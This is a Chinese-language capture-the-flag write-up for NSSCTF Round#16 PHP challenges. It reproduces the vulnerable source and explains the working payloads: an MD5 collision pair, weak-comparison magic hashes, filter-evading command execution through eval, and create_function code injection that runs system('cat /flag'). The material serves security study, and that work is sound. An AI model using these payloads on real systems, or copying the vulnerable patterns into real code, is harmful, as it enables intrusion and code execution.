RCE但是没有完全RCE
<?php
error_reporting(0);
highlight_file(__file__);
include('level2.php');
if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {
if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) {
if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) {
echo $level2;
} else {
echo "您!!!!!那么现在阁下又该如何应对呢";
}
} else {
echo "还在用传统方法????";
}
} else {
echo "来做做熟悉的MD5~";
}
来做做熟悉的MD5~
level1:md5强比较绕过
使用md5碰撞,我这里直接用碰撞好的结果
?md5_1=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&md5_2=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
level2:md5弱类型比较
其实看起来确实是想考察弱类型比较,但是这里比较的都是md5_3
,自己跟自己比较,输入什么都行
md5_3=1
<?php
error_reporting(0);
highlight_file(__FILE__);
$shell = $_POST['shell'];
$cmd = $_GET['cmd'];
if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){
die("Hacker!!!!!!!!");
}
eval($shell($cmd));
level3:绕过关键字执行rce
常规思想,看到$shell($cmd)
组合就觉得shell应该设置为调用shell的函数system
、exec
之类,然后cmd设置为执行的命令,这里对cmd进行了正则过滤,过滤了flag字符、通配符,并且大小写严格,但是我们还可以使用dir
。
这里可以看到flag,虽然对cat tac等做了过滤但是还可以使用more,看到其他师傅的wp 使用了 more /[e-h][k-m][0-b][e-h]
读取flag,第一次见,待会详细学习一下。
使用more不通,于是想到利用变量进行绕过
一开始的思路是这样,但是发现无法执行,发现是system只能在eval内部进行执行,因为system($_POST['test'])
没有成为一条独立的语句,缺少;
而eval
函数中字符串末尾一定要有分号才会正常执行,所以我们要让$shell
变量不起作用,可以使用一些函数,比如urldecode
又回到上面more的使用[NSSCTF Round#16 Basic]RCE但是没有完全RCE-CSDN博客
bash中的中括号正则匹配是根据ASCII码值来分辨先后顺序的,学到了✔
除了上面的变量绕过,还有取反操作或者其他。、
了解过PHP特性吗
<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
echo $rce;
}
level1:intval()绕过
num正则匹配不能是数字,但是变量必须为整数型,利用数组进行绕过?num[]=1
intval对于函数,只要数组里面有值,不论值的数量,返回的值都为1。对于正则匹配,preg_match只能处理字符串,当传入数组时会返回false,所以绕过了if语句。
intval()
转换成整数型,只会转换数字部分,比如intval(123a)=123
intval(a123)=0
preg_match()
正则匹配
level2:md5弱类型比较
首先对传入的字符串进行反转,再检查变量$ctype
是否全为字符串,变量$is_num
是否全为数字,再比对md5之后的结果。md5弱类型比较,为0e开头的会被识别为科学计数法,结果均为0,我们需要找一个参数为全字母和一个全数字的,并且md5加密后都为0e开头的数ctype=QNKCDZO&is_num=240610708
strrev()
反转字符串
ctype_alpha()
检测字符串是否都是字母
is_numeric()
检测变量是否全为数字
level3:strlen()绕过
这个利用了php的弱语言特性,php处理字符串时会将e认为是科学计数法里的e,所以利用这个特性我们可以控制字符串的长度,比如1e1=1*10^1=10
。而514只会比较数字部分,is_numeric
检测到字母的存在,就返回0。114=9e9
514=9999999999a
level4:array_search绕过
在代码中,首先判断是不是数组,所以我们传入的必须是数组,然后遍历数组内的值,判断数组的值不能为NSS
,然后将值转化为整形。然后使用array_search
搜索NSS
的键名,所以NSS必须为数组中的第一个值。
要绕过array_search
,其实这里可以传递NSS1``0NSS
或其他,因为0和
array_search(value,array,strict)
在数组中搜索某个键值,并返回对应的键名,注意strict默认为false,表示是非严格匹配,,如果是true,则数组5和字符串5都是不同的
<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
$nss_shell = create_function($shell,$nss);
}
level5:create_function注入
create_function创建匿名函数执行代码,
create_function(string $args,string $code)
- string $args 声明的函数变量部分
- string $code 执行的方法代码部分
把函数前面给闭合,把函数后的花括号给注释,中间就可以执行我们想要的操作shell=&nss=}system('cat /flag');//
总的来说,PHP有很多特性,改天写一篇来总结一下,感觉依然存在很多疑问。
参考链接:
https://www.cnblogs.com/anbus/p/10000571.html
https://zhuanlan.zhihu.com/p/377733114